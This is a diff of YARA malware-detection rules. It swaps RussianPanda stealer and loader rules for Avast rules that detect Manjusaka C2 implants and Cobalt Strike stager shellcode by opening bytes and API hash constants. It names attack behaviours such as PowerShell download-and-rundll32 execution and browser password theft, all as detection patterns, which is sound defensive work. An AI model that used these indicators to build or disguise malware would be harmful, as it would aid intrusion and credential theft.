 		score = 75
-		quality = 70
-		tags = "FILE"
+		quality = 90
+		tags = ""
+
+	strings:
+		$s01 = "proc/meminfo/proc/uptime/etc/os-releaseVERSION_ID=NAME=DISTRIB_ID"
+		$s02 = "/root/.cargo/registry/src/mirrors.ustc.edu.cn"
+		$s03 = "cmdlineexecwdassertion failed"
+		$s04 = "/etc/passwd/root/"
+		$s11 = "./protos/cs.rstargetpidAgentsagentAgentUpdatesleepenckeysysinfoConfigPluginExecPluginLoadReqCwd"
+		$s12 = "ReqScreenH"
+		$s13 = "manjusakahttp:"
+		$s14 = "pluginexecpluginloadreqcwdreqcmd"
+		$s15 = "/NPSC2/npc/libs/"
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].issuer contains "Palit GeForce RTX 3070 Dual H21 LHR" and pe.signatures[i].serial=="11:cd:b5:d5:9d:fb:90:84:45:f3:a7:22:25:47:a4:54")
+		AVASTTI_ELF_PRIVATE and ( all of ($s0*) and any of ($s1*))
 }
-rule SECUINFRA_SUSP_Powershell_Download_Temp_Rundll_1 : POWERSHELL DOWNLOAD
+rule AVASTTI_Manjusaka_Payload_Mz
 {
 	meta:
-		description = "Detect a Download to %temp% and execution with rundll32.exe"
-		author = "SECUINFRA Falcon Team"
-		id = "f7a9d2e6-bebf-598b-9e59-db0a3001b9f9"
-		date = "2022-09-02"
-		modified = "2022-02-19"
-		reference = "https://github.com/SIFalcon/Detection"
-		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/PowerShell_Misc/download_variations.yar#L1-L14"
+		description = "No description has been set in the source file - AvastTI"
+		author = "Avast Threat Intel Team"
+		id = "808fe840-27e2-5361-b97a-4b04e6d8f7da"
+		date = "2022-10-05"
+		modified = "2022-10-05"
+		reference = "https://github.com/avast/ioc"
+		source_url = "https://github.com/avast/ioc/blob/b48f810c87e91f39068b28dee63bea4014e62aaa/Manjusaka/Manjusaka.yar#L124-L161"
 		license_url = "N/A"
-		logic_hash = "7982438c032127349fb1c3477a23bab1c92eb68d9c3b26e2f5fb0a8c332dbc44"
-		score = 65
-		quality = 70
-		tags = "POWERSHELL, DOWNLOAD"
+		hash = "6839180bc3a2404e629c108d7e8c8548caf9f8249bbbf658b47c00a15a64758f"
+		hash = "cd0c75638724c0529cc9e7ca0a91d2f5d7221ef2a87b65ded2bc1603736e3b5d"
+		hash = "d5918611b1837308d0c6d19bff4b81b00d4f6a30c1240c00a9e0a9b08dde1412"
+		hash = "2b174d417a4e43fd6759c64512faa88f4504e8f14f08fd5348fff51058c9958f"
+		hash = "377bacba69d2bec770599ab21a202b574b92fb431fc35bbdf39080025d6cf2d6"
+		hash = "86c633467ba7981d3946a63184dbfabce587b571f761b3eb1e3e43f6b1df6f2c"
+		hash = "51857882d1202e72c0cf18ff21de773c2a31ee68ff28385f968478401c5ab4bb"
+		hash = "e07aa10f19574a856a4ac389a3ded96f2d78f41f939935dd678811bd12b5bd03"
+		hash = "9e7144540430d97de38a2adcef16ad43e23c91281462b135fcc56cafc2f34160"
+		logic_hash = "81b01eff8384707ce67f6d888e59e690d7fb7b4e32359043ced9230499813aa7"
+		score = 60
+		quality = 50
+		tags = ""
 
 	strings:
-		$location = "$Env:temp" nocase
-		$download = "downloadfile(" nocase
-		$rundll = "rundll32.exe"
+		$s01 = ".\\protos\\cs.rstargetintranethostnameplatformpidAgentsstatusagentinternetupdateatAgentUpdate"
+		$s02 = "PluginExecPluginLoadReqCwdcmdReqCmd"
+		$s03 = "Users\\Administrator.WIN7-2021OVWRCZ\\.cargo"
+		$s04 = "Users\\runneradmin\\.cargo"
+		$s05 = "windows\\c.rsNtReadFile"
+		$s11 = "src\\mirrors.ustc.edu.cn-"
+		$s12 = "CodeProject\\hw_src\\NPSC2\\npc\\target\\release\\deps\\npc.pdb"
+		$s13 = "@@@manjusaka"
+		$s14 = "***manjusakahttp://"
+		$s15 = "SELECT signon_realm, username_value, password_value FROM loginsnetshwlanshowprofile"
+		$s16 = "name=key=clearWIFI"
+		$s17 = "cmd.exe/c"
+		$s18 = "Accept-Languagezh-CN,zh;q=0.9,en;q=0.8Accept-Encodinggzip"
+		$s19 = "library\\std\\src\\sys_common\\wtf8.rs"
+		$s110 = "plug_getpass_nps.dll"
+		$s111 = "plug_test_nps.dll"
 
 	condition:
-		$location and $download and $rundll
+		AVASTTI_EXE_PRIVATE and (2 of ($s0*) or 3 of ($s1*))
 }
-/*
- * YARA Rule Set
- * Repository Name: RussianPanda
- * Repository: https://github.com/RussianPanda95/Yara-Rules
- * Retrieval Date: 2024-08-04
- * Git Commit: 287193355da5f0e594bfdb738c9999faed0fc4dd
- * Number of Rules: 73
- * Skipped: 0 (age), 1 (quality), 0 (score), 0 (importance)
- *
- *
- * LICENSE
- *
- * NO LICENSE SET
- */
-rule RUSSIANPANDA_Win_Mal_Rustydropper : FILE
+rule AVASTTI_Cobaltstrike_Raw_Payload_Dns_Stager_X86
 {
 	meta:
-		description = "Detects RustyDropper"
-		author = "RussianPanda"
-		id = "9f217080-81e0-547a-9336-cf8ac2fadf36"
-		date = "2024-03-01"
-		modified = "2024-03-01"
-		reference = "https://github.com/RussianPanda95/Yara-Rules"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/RustyDropper/win_mal_RustyDropper.yar#L1-L12"
+		description = "No description has been set in the source file - AvastTI"
+		author = "Avast Threat Intel Team"
+		id = "817c4a72-7be1-5a58-987d-fe203d7778ea"
+		date = "2021-07-08"
+		modified = "2021-07-08"
+		reference = "https://github.com/avast/ioc"
+		source_url = "https://github.com/avast/ioc/blob/b48f810c87e91f39068b28dee63bea4014e62aaa/CobaltStrike/yara_rules/cs_rules.yar#L1-L26"
 		license_url = "N/A"
-		hash = "a3a5e7011335a2284e2d4f73fd464ff129f0c9276878a054c1932bc50608584b"
-		logic_hash = "d0c76bcd1af63cc1b1fbabc3fa33e6caafd7d9c7c3780a94a1ed37eadef655d7"
+		logic_hash = "d447fac16f0a712b1c264bc83b4cf2e56e5e98b369617799b981cd75b37c3511"
 		score = 75
-		quality = 81
-		tags = "FILE"
+		quality = 90
+		tags = ""
 
 	strings:
-		$s1 = {47 3a 5c 52 55 53 54 5f 44 52 4f 50 50 45 52 5f 45 58 45 5f 50 41 59 4c 4f 41 44 5c 44 52 4f 50 50 45 52 5f 4d 41 49 4e 5c}
-		$s2 = {46 45 41 54 55 52 45 5f 42 52 4f 57 53 45 52 5f 45 4d 55 4c 41 54 49 4f 4e}
+		$h01 = { FC E8 89 00 00 00 60 89 E5 31 D2 64 8B 52 30 8B 52 0C 8B 52 14 8B 72 28 }
 
 	condition:
-		uint16(0)==0x5A4D and all of them
+		uint32(@h01+0x00a3)==0xe553a458 and uint32(@h01+0x00bd)==0x0726774c and uint32(@h01+0x012f)==0xc99cc96a and uint32(@h01+0x0198)==0x56a2b5f0 and uint32(@h01+0x01a4)==0xe035f044 and uint32(@h01+0x01e4)==0xcc8e00f4
 }
-rule RUSSIANPANDA_Win_Mal_Glorysprout_Stealer : FILE
+rule AVASTTI_Cobaltstrike_Raw_Payload_Smb_Stager_X86
 {
 	meta:
-		description = "Detects GlorySprout Stealer"
-		author = "RussianPanda"
-		id = "44c50f20-479e-5960-9ab9-97b9a17d7cbf"
-		date = "2024-03-16"
-		modified = "2024-03-16"
-		reference = "https://github.com/RussianPanda95/Yara-Rules"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/GlorySprout/win_mal_GlorySprout_Stealer.yar#L1-L13"
+		description = "No description has been set in the source file - AvastTI"
+		author = "Avast Threat Intel Team"
+		id = "29911a14-08ea-54de-9c07-630c6516bd49"
+		date = "2021-07-08"
+		modified = "2021-07-08"
+		reference = "https://github.com/avast/ioc"
+		source_url = "https://github.com/avast/ioc/blob/b48f810c87e91f39068b28dee63bea4014e62aaa/CobaltStrike/yara_rules/cs_rules.yar#L28-L57"
 		license_url = "N/A"
-		hash = "8996c252fc41b7ec0ec73ce814e84136be6efef898822146c25af2330f4fd04a"
-		logic_hash = "c843f7924e69c1b9fc3676178aa630319fe25605deddcd73c4905c51cc97d7eb"
+		logic_hash = "7459bcb0353f114a869aa61adc0229197ca9a1cfce0741dc227fabbeea2afba9"
 		score = 75
-		quality = 85
-		tags = "FILE"
+		quality = 90
+		tags = ""
 
 	strings:
-		$s1 = {25 0F 00 00 80 79 05 48 83 C8 F0 40}
-		$s2 = {8B 82 A4 00 00 00 8B F9 89 06 8D 4E 0C 8B 82 A8 00 00 00 89 46 04 0F B7 92 AC 00 00 00 89 56 08}
-		$s3 = {0F B6 06 C1 E7 04 03 F8 8B C7 25 00 00 00 F0 74 0B C1 E8 18}
+		$h01 = { FC E8 89 00 00 00 60 89 E5 31 D2 64 8B 52 30 8B 52 0C 8B 52 14 8B 72 28 }
 
 	condition:
-		uint16(0)==0x5A4D and all of them and #s1>100
+		uint32(@h01+0x00a1)==0xe553a458 and uint32(@h01+0x00c4)==0xd4df7045 and uint32(@h01+0x00d2)==0xe27d6f28 and uint32(@h01+0x00f8)==0xbb5f9ead and uint32(@h01+0x010d)==0xbb5f9ead and uint32(@h01+0x0131)==0xfcddfac0 and uint32(@h01+0x0139)==0x528796c6 and uint32(@h01+0x014b)==0x56a2b5f0
 }
-rule RUSSIANPANDA_Garystealer : FILE
+rule AVASTTI_Cobaltstrike_Raw_Payload_Tcp_Bind_X86
 {
 	meta:
-		description = "Detects GaryStealer 1-3-2024"
-		author = "RussianPanda"
-		id = "4b0af30e-2cf1-539d-89fa-7e4e32cd6eab"
-		date = "2024-01-03"
-		modified = "2024-01-03"
-		reference = "https://cybersecurity.att.com/blogs/labs-research/behind-the-scenes-jaskagos-coordinated-strike-on-macos-and-windows"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/GaryStealer/garystealer-1-3-2024.yar#L1-L20"
+		description = "No description has been set in the source file - AvastTI"
+		author = "Avast Threat Intel Team"
+		id = "ec0a9e27-3650-5393-a93b-2a461b9a0e29"
+		date = "2021-07-08"
+		modified = "2021-07-08"
+		reference = "https://github.com/avast/ioc"
+		source_url = "https://github.com/avast/ioc/blob/b48f810c87e91f39068b28dee63bea4014e62aaa/CobaltStrike/yara_rules/cs_rules.yar#L59-L96"
 		license_url = "N/A"
-		hash = "6efa29a0f9d112cfbb982f7d9c0ddfe395b0b0edb885c2d5409b33ad60ce1435"
-		logic_hash = "f71655d0cb237c08af9c298ec9eec1ae9bd1efd50e26d61afddf9056b6883a15"
+		logic_hash = "5c56e1f1d85375f19b6085b3d4654d2d1ba38d3dfcfea66707ca8957a6ed7bf8"
 		score = 75
-		quality = 79
-		tags = "FILE"
+		quality = 90
+		tags = ""
 
 	strings:
-		$s1 = {72 75 6e 74 69 6d 65 2e 67 6f 70 61 6e 69 63}
-		$s2 = {4c 6f 63 61 6c 20 49 50 20 41 64 64 72 65 73 73 65 73 3a 5b 70 69 63 6b 2d 66 69 72 73 74 2d 6c 62 20 25 70 5d}
-		$s3 = {70 65 72 73 69 73 74 61 6E 63 65 20 63 72 65 61 74 65 64}
-		$s4 = {C7 40 28 ?? 00 00 00}
+		$h01 = { FC E8 89 00 00 00 60 89 E5 31 D2 64 8B 52 30 8B 52 0C 8B 52 14 8B 72 28 }
 
 	condition:
-		uint16(0)==0x5A4D and 3 of ($s*) and filesize <20MB and #s4>2
+		uint32(@h01+0x009c)==0x0726774c and uint32(@h01+0x00ac)==0x006b8029 and uint32(@h01+0x00bb)==0xe0df0fea and uint32(@h01+0x00d5)==0x6737dbc2 and uint32(@h01+0x00de)==0xff38e9b7 and uint32(@h01+0x00e8)==0xe13bec74 and uint32(@h01+0x00f1)==0x614d6e75 and uint32(@h01+0x00fa)==0x56a2b5f0 and uint32(@h01+0x0107)==0x5fc8d902 and uint32(@h01+0x011a)==0xe553a458 and uint32(@h01+0x0128)==0x5fc8d902 and uint32(@h01+0x013d)==0x614d6e75
 }
-import "pe"
-
-rule RUSSIANPANDA_Illyrianstealer : FILE
+rule AVASTTI_Cobaltstrike_Raw_Payload_Tcp_Bind_X64
 {
 	meta:
-		description = "Detects Illyrian Stealer"
-		author = "RussianPanda"
-		id = "2f85e87c-6883-5f41-a37c-00f9e93f61bf"
-		date = "2024-01-08"
-		modified = "2024-01-08"
-		reference = "https://github.com/RussianPanda95/Yara-Rules"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/IllyrianStealer/illyrian_stealer.yar#L2-L18"
+		description = "No description has been set in the source file - AvastTI"
+		author = "Avast Threat Intel Team"
+		id = "3575408a-3309-5723-a49a-9c2088d43de9"
+		date = "2021-07-08"
+		modified = "2021-07-08"
+		reference = "https://github.com/avast/ioc"
+		source_url = "https://github.com/avast/ioc/blob/b48f810c87e91f39068b28dee63bea4014e62aaa/CobaltStrike/yara_rules/cs_rules.yar#L98-L133"
 		license_url = "N/A"
-		hash = "fae0aed6173804e8c22027cbb0c121eedd927f16ea7e2b23662dbe6e016980e8"
-		logic_hash = "2012d401d3e7ce2d4d6ea12ed01a30b7d3e18f4ed47dbf70d43bae6c328960ea"
+		logic_hash = "a803a9c76142ccadda5f5c8f6abf78ac9a60523576edf62f4a1600556f4b6261"
 		score = 75
-		quality = 85
-		tags = "FILE"
+		quality = 90
+		tags = ""
 
 	strings:
-		$s1 = "get_TotalPhysicalMemory"
-		$s2 = "\\b(bitcoincash)[a-zA-HJ-NP-Z0-9]{36,54}\\b" wide
-		$s3 = "[Crypto]" wide
-		$s4 = "|Black|" wide
+		$h01 = { FC 48 83 E4 F0 E8 C8 00 00 00 41 51 41 50 52 51 56 48 31 D2 65 48 8B 52 }
 
 	condition:
-		all of ($s*) and filesize <50KB and pe.imports("mscoree.dll")
+		uint32(@h01+0x0100)==0x0726774c and uint32(@h01+0x0111)==0x006b8029 and uint32(@h01+0x012d)==0xe0df0fea and uint32(@h01+0x0142)==0x6737dbc2 and uint32(@h01+0x0150)==0xff38e9b7 and uint32(@h01+0x0161)==0xe13bec74 and uint32(@h01+0x016f)==0x614d6e75 and uint32(@h01+0x0198)==0x5fc8d902 and uint32(@h01+0x01b8)==0xe553a458 and uint32(@h01+0x01d2)==0x5fc8d902 and uint32(@h01+0x01ee)==0x614d6e75
 }
-rule RUSSIANPANDA_Metastealer_NET_Reactor_Packer : FILE
+rule AVASTTI_Cobaltstrike_Raw_Payload_Tcp_Reverse_X86
 {
 	meta:
-		description = "Detects NET_Reactor_packer 12-2023 used in MetaStealer"
-		author = "RussianPanda"
-		id = "5d4f62d2-6a27-53af-9b03-61daa99c10a4"
-		date = "2023-12-29"
-		modified = "2023-12-30"
-		reference = "https://github.com/RussianPanda95/Yara-Rules"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/MetaStealer/metastealer_12-2023_packer.yar#L1-L16"
+		description = "No description has been set in the source file - AvastTI"
+		author = "Avast Threat Intel Team"
+		id = "ac824189-614d-5bff-9bbb-a4244cace563"
+		date = "2021-07-08"
+		modified = "2021-07-08"
+		reference = "https://github.com/avast/ioc"
+		source_url = "https://github.com/avast/ioc/blob/b48f810c87e91f39068b28dee63bea4014e62aaa/CobaltStrike/yara_rules/cs_rules.yar#L135-L164"
 		license_url = "N/A"
-		logic_hash = "1951d8b05f11b8a77a5bf792ad2b0ad95b8dede936ab5cd0699383468c3c97a8"
+		logic_hash = "c20de49c3225a7aed8460d0e3cc3bce715c8746fb4313a2faf9da3c8d1d87387"
 		score = 75
-		quality = 83
-		tags = "FILE"
+		quality = 90
+		tags = ""
 
 	strings:
-		$s1 = {C7 84 24 80 02 00 00 24 02 00 00 C6 44 24}
-		$s2 = "mscoree.dll" wide
-		$s3 = {43 61 76 69 6c 73 20 43 6f 72 70 2e 20 32 30 31 30}
-		$s4 = {80 F1 E7 80 F2 44 [16] 80 F1 4B 80 F2 23}
+		$h01 = { FC E8 89 00 00 00 60 89 E5 31 D2 64 8B 52 30 8B 52 0C 8B 52 14 8B 72 28 }
 
 	condition:
-		3 of ($s*) and filesize <600KB
+		uint32(@h01+0x009c)==0x0726774c and uint32(@h01+0x00ac)==0x006b8029 and uint32(@h01+0x00bb)==0xe0df0fea and uint32(@h01+0x00d5)==0x6174a599 and uint32(@h01+0x00e5)==0x56a2b5f0 and uint32(@h01+0x00f2)==0x5fc8d902 and uint32(@h01+0x0105)==0xe553a458 and uint32(@h01+0x0113)==0x5fc8d902
 }
-import "pe"
-
-rule RUSSIANPANDA_Metastealer
+rule AVASTTI_Cobaltstrike_Raw_Payload_Tcp_Reverse_X64
 {
 	meta:
-		description = "Detects the old version of MetaStealer 11-2023"
-		author = "RussianPanda"
-		id = "c178630b-d188-5faf-86b3-436894241d77"
-		date = "2023-11-16"
-		modified = "2023-12-30"
-		reference = "https://github.com/RussianPanda95/Yara-Rules"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/MetaStealer/metastealer.yar#L2-L19"
+		description = "No description has been set in the source file - AvastTI"
+		author = "Avast Threat Intel Team"
+		id = "21151a9c-1d15-514f-b33b-c9eff08463fb"
+		date = "2021-07-08"
+		modified = "2021-07-08"
+		reference = "https://github.com/avast/ioc"
+		source_url = "https://github.com/avast/ioc/blob/b48f810c87e91f39068b28dee63bea4014e62aaa/CobaltStrike/yara_rules/cs_rules.yar#L166-L195"
 		license_url = "N/A"
-		logic_hash = "f78b376713daf82aa2e0cbd6bf45f33d25530449fa05673c8a7c6b4c0dddca79"
+		logic_hash = "58ae5351bac70ab9530cb033d1f6bb90acb6b66df395d59a55d221ef2a2e5dcf"
 		score = 75
-		quality = 85
+		quality = 90
 		tags = ""
 
 	strings:
-		$s1 = "FileScannerRule"
-		$s2 = "MSObject"
-		$s3 = "MSValue"
-		$s4 = "GetBrowsers"
-		$s5 = "Biohazard"
+		$h01 = { FC 48 83 E4 F0 E8 C8 00 00 00 41 51 41 50 52 51 56 48 31 D2 65 48 8B 52 }
 
 	condition:
-		4 of ($s*) and pe.imports("mscoree.dll")
+		uint32(@h01+0x0100)==0x0726774c and uint32(@h01+0x0111)==0x006b8029 and uint32(@h01+0x012d)==0xe0df0fea and uint32(@h01+0x0142)==0x6174a599 and uint32(@h01+0x016b)==0x5fc8d902 and uint32(@h01+0x018b)==0xe553a458 and uint32(@h01+0x01a5)==0x5fc8d902 and uint32(@h01+0x01c1)==0x614d6e75
 }
-import "pe"
-
-rule RUSSIANPANDA_Metastealer_Core_Payload
+rule AVASTTI_Cobaltstrike_Raw_Payload_Http_Stager_X86
 {
 	meta:
-		description = "Detects MetaStealer Core Payload"
-		author = "RussianPanda"
-		id = "ff5854b5-4dac-59d7-8c5a-d5b808d63483"
-		date = "2023-12-29"
-		modified = "2023-12-29"
-		reference = "https://github.com/RussianPanda95/Yara-Rules"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/MetaStealer/metastealer_core_payload_12-2023.yar#L2-L19"
+		description = "No description has been set in the source file - AvastTI"
+		author = "Avast Threat Intel Team"
+		id = "01f89b14-55f2-5a5e-b0d5-6bca609621fe"
+		date = "2021-07-08"
+		modified = "2021-07-08"
+		reference = "https://github.com/avast/ioc"
+		source_url = "https://github.com/avast/ioc/blob/b48f810c87e91f39068b28dee63bea4014e62aaa/CobaltStrike/yara_rules/cs_rules.yar#L197-L232"
 		license_url = "N/A"
-		logic_hash = "99a319023f2c1b714a70458bd33649d6cc343b500a409af12c2eb1ce38ba4241"
+		logic_hash = "d3c74ff363d113d25d9ecca114dd0872487e713a978da4f94f3cccc2e92943ff"
 		score = 75
-		quality = 85
+		quality = 90
 		tags = ""
 
 	strings:
-		$s1 = "FileScannerRule"
-		$s2 = "TreeObject"
-		$s3 = "Schema"
-		$s4 = "StringDecrypt"
-		$s5 = "AccountDetails"
+		$h01 = { FC E8 89 00 00 00 60 89 E5 31 D2 64 8B 52 30 8B 52 0C 8B 52 14 8B 72 28 }
 
 	condition:
-		4 of ($s*) and pe.imports("mscoree.dll")
+		uint32(@h01+0x009c)==0x0726774c and uint32(@h01+0x00aa)==0xa779563a and uint32(@h01+0x00c6)==0xc69f8957 and uint32(@h01+0x00de)==0x3b2e55eb and uint32(@h01+0x00f2)==0x7b18062d and uint32(@h01+0x010b)==0x5de2c5aa and uint32(@h01+0x0114)==0x315e2145 and uint32(@h01+0x0123)==0x0be057b7 and uint32(@h01+0x02c4)==0x56a2b5f0 and uint32(@h01+0x02d8)==0xe553a458 and uint32(@h01+0x02f3)==0xe2899612
 }
-rule RUSSIANPANDA_Solarmarker_Loader_PS2EXE : FILE
+rule AVASTTI_Cobaltstrike_Raw_Payload_Http_Stager_X64
 {
 	meta:
-		description = "Detects SolarMarker loader using PS2EXE"
-		author = "RussianPanda"
-		id = "837883a1-b657-52ae-95c4-ebafc8ac55de"
-		date = "2024-01-04"
-		modified = "2024-01-04"
-		reference = "https://www.esentire.com/blog/solarmarker-to-jupyter-and-back"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/SolarMarker/solarmarker_loader.yar#L1-L17"
+		description = "No description has been set in the source file - AvastTI"
+		author = "Avast Threat Intel Team"
+		id = "7eeeb2a1-4903-5649-ae30-fd43367ab468"
+		date = "2021-07-08"
+		modified = "2021-07-08"
+		reference = "https://github.com/avast/ioc"
+		source_url = "https://github.com/avast/ioc/blob/b48f810c87e91f39068b28dee63bea4014e62aaa/CobaltStrike/yara_rules/cs_rules.yar#L234-L263"
 		license_url = "N/A"
-		hash = "b45c31679c2516b38c7ff8c395f1d11d"
-		logic_hash = "4f579f350c3320e7b811cae0efe7302e852f59adc02d805f64ba464f8a995f25"
+		logic_hash = "a89a8e25d894bf7e5c4a10e2a14b78a52543e42fb185667db9f9548f52ef58bf"
 		score = 75
-		quality = 85
-		tags = "FILE"
+		quality = 90
+		tags = ""
 
 	strings:
-		$s1 = {72 7B 02 00 70 72 89 02 00 70 72 91 02 00 70 [22] 72 97 02 00 70 72 AB 02 00 70 72 B5 02 00 70}
-		$s2 = {13 0D 72 [3] 70}
-		$s3 = {72 C1 02 00 70 72 B2 03 00 70 72 B8 03 00 70}
+		$h01 = { FC 48 83 E4 F0 E8 C8 00 00 00 41 51 41 50 52 51 56 48 31 D2 65 48 8B 52 }
 
 	condition:
-		all of ($s*) and filesize >200MB
+		uint32(@h01+0x00e9)==0x0726774c and uint32(@h01+0x0101)==0xa779563a and uint32(@h01+0x0120)==0xc69f8957 and uint32(@h01+0x013f)==0x3b2e55eb and uint32(@h01+0x0163)==0x7b18062d and uint32(@h01+0x0308)==0x56a2b5f0 and uint32(@h01+0x0324)==0xe553a458 and uint32(@h01+0x0342)==0xe2899612
 }
-rule RUSSIANPANDA_Solarmarker_First_Stage_Payload : FILE
+rule AVASTTI_Cobaltstrike_Raw_Payload_Https_Stager_X86
 {
 	meta:
-		description = "Detects SolarMarker First Stage payload"
-		author = "RussianPanda"
-		id = "56eec644-9ad7-51db-9d11-68ea3e12c36a"
-		date = "2024-01-30"
-		modified = "2024-01-30"
-		reference = "https://x.com/luke92881/status/1751968350689771966?s=20"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/SolarMarker/solarmarker_first_stage_payload.yar#L1-L21"
+		description = "No description has been set in the source file - AvastTI"
+		author = "Avast Threat Intel Team"
+		id = "f1d7e939-92b5-5441-8014-b2390854d059"
+		date = "2021-07-08"
+		modified = "2021-07-08"
+		reference = "https://github.com/avast/ioc"
+		source_url = "https://github.com/avast/ioc/blob/b48f810c87e91f39068b28dee63bea4014e62aaa/CobaltStrike/yara_rules/cs_rules.yar#L266-L303"
 		license_url = "N/A"
-		hash = "f53563541293a826738d3b8f1164ea43"
-		logic_hash = "e704614782b0f3cba60c53413e889113d2d44f37e60801205e5ed5ff921b13ee"
+		logic_hash = "c168b6f2ce35e57cd4c572ce40652261df7af7900beab7ffcdae58113cad88c0"
 		score = 75
-		quality = 71
-		tags = "FILE"
+		quality = 90
+		tags = ""
 
 	strings:
-		$s1 = {63 72 65 64 75 69}
-		$s2 = {43 72 65 64 55 49 50 72 6F 6D 70 74 46 6F 72 43 72 65 64 65 6E 74 69 61 6C 73}
-		$s3 = {50 6F 77 65 72 53 68 65 6C 6C}
-		$s4 = {73 65 74 5F 43 75 72 73 6F 72 50 6F 73 69 74 69 6F 6E}
-		$s5 = {73 65 74 5F 41 63 63 65 70 74 42 75 74 74 6F 6E}
-		$s6 = {4D 65 73 73 61 67 65 42 6F 78 42 75 74 74 6F 6E 73}
-		$s7 = {41 67 69 6C 65 44 6F 74 4E 65 74 52 54}
-		$s8 = "_CorExeMain"
+		$h01 = { FC E8 89 00 00 00 60 89 E5 31 D2 64 8B 52 30 8B 52 0C 8B 52 14 8B 72 28 }
 
 	condition:
-		all of them and filesize >250MB
+		uint32(@h01+0x009c)==0x0726774c and uint32(@h01+0x00af)==0xa779563a and uint32(@h01+0x00cb)==0xc69f8957 and uint32(@h01+0x00e7)==0x3b2e55eb and uint32(@h01+0x0100)==0x869e4675 and uint32(@h01+0x0110)==0x7b18062d and uint32(@h01+0x0129)==0x5de2c5aa and uint32(@h01+0x0132)==0x315e2145 and uint32(@h01+0x0141)==0x0be057b7 and uint32(@h01+0x02e9)==0x56a2b5f0 and uint32(@h01+0x02fd)==0xe553a458 and uint32(@h01+0x0318)==0xe2899612
 }
-rule RUSSIANPANDA_Solardropper
+rule AVASTTI_Cobaltstrike_Raw_Payload_Https_Stager_X64
 {
 	meta:
-		description = "SolarMarker first stage detection"
-		author = "RussianPanda"
-		id = "8e40b001-ae00-5768-bb91-e45264748087"
-		date = "2024-01-03"
-		modified = "2024-01-03"
-		reference = "https://www.esentire.com/blog/solarmarker-to-jupyter-and-back"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/SolarMarker/solardropper.yar#L1-L15"
+		description = "No description has been set in the source file - AvastTI"
+		author = "Avast Threat Intel Team"
+		id = "5f9c7426-63be-5049-91fc-63b5c29618bd"
+		date = "2021-07-08"
+		modified = "2021-07-08"
+		reference = "https://github.com/avast/ioc"
+		source_url = "https://github.com/avast/ioc/blob/b48f810c87e91f39068b28dee63bea4014e62aaa/CobaltStrike/yara_rules/cs_rules.yar#L306-L337"
 		license_url = "N/A"
-		logic_hash = "5dccb7be94e814335c0c867f8b3dd8855043375fe9f1235d5519c690fc7df842"
+		logic_hash = "cb36d75efcd0e76bf96793863d1aa5145237ec3ce5c7195e679f2e1019d5bbab"
 		score = 75
-		quality = 85
+		quality = 90
 		tags = ""
 
 	strings:
-		$p1 = {2d 00 71 00 71 00 78 00 74 00 72 00 61 00 63 00 74 00 3a 00 22 00 3c 00 66 00 69 00 6c 00 71 00 71 00 6e 00 61 00 6d 00 71 00 71 00 3e 00 22 00}
-		$p2 = "deimos.exe"
-		$p3 = {5e 00 2d 00 28 00 5b 00 5e 00 3a 00 20 00 5d 00 2b 00 29 00 5b 00 20 00 3a 00 5d 00 3f 00 28 00 5b 00 5e 00 3a 00 5d 00 2a 00 29 00 24 00}
+		$h01 = { FC 48 83 E4 F0 E8 C8 00 00 00 41 51 41 50 52 51 56 48 31 D2 65 48 8B 52 }
 
 	condition:
-		all of ($p*)
+		uint32(@h01+0x00e9)==0x0726774c and uint32(@h01+0x0101)==0xa779563a and uint32(@h01+0x0123)==0xc69f8957 and uint32(@h01+0x0142)==0x3b2e55eb and uint32(@h01+0x016c)==0x869e4675 and uint32(@h01+0x0186)==0x7b18062d and uint32(@h01+0x032b)==0x56a2b5f0 and uint32(@h01+0x0347)==0xe553a458 and uint32(@h01+0x0365)==0xe2899612
 }
-import "pe"
+rule AVASTTI_Cobaltstrike_Raw_Payload_Dns_Stager_X86_Utf16
+{
+	meta:
+		description = "No description has been set in the source file - AvastTI"
+		author = "Avast Threat Intel Team"
+		id = "d148ca33-b233-519d-8ba4-d389de721d15"
+		date = "2021-07-08"
+		modified = "2021-07-08"
+		reference = "https://github.com/avast/ioc"
+		source_url = "https://github.com/avast/ioc/blob/b48f810c87e91f39068b28dee63bea4014e62aaa/CobaltStrike/yara_rules/cs_rules.yar#L339-L354"
+		license_url = "N/A"
+		logic_hash = "3519d2af99a159483ba22cd87907bcc87bea1cfc2fb92f5f0334fff1c385ef00"
+		score = 75
+		quality = 90
+		tags = ""
 
-rule RUSSIANPANDA_Solarmarker_Loader : FILE
+	strings:
+		$h01 = { FC 00 E8 00 89 00 00 00 00 00 00 00 60 00 89 00 E5 00 31 00 D2 00 64 00 8B 00 52 00 30 00 8B 00 52 00 0C 00 8B 00 52 00 14 00 8B 00 72 00 28 }
+
+	condition:
+		uint32(@h01+0x0149)==0xe5005300 and uint32(@h01+0x017d)==0x07002600 and uint32(@h01+0x0261)==0xc9009c00 and uint32(@h01+0x0333)==0x5600a200 and uint32(@h01+0x034b)==0xe0003500 and uint32(@h01+0x03cb)==0xcc008e00
+}
+rule AVASTTI_Cobaltstrike_Raw_Payload_Smb_Stager_X86_Utf16
 {
 	meta:
-		description = "Detects SolarMarker loader 1-4-2024"
-		author = "RussianPanda"
-		id = "b385fcd4-62b7-5a83-8a2e-6841fdd17526"
-		date = "2024-01-04"
-		modified = "2024-01-04"
-		reference = "https://www.esentire.com/blog/solarmarker-to-jupyter-and-back"
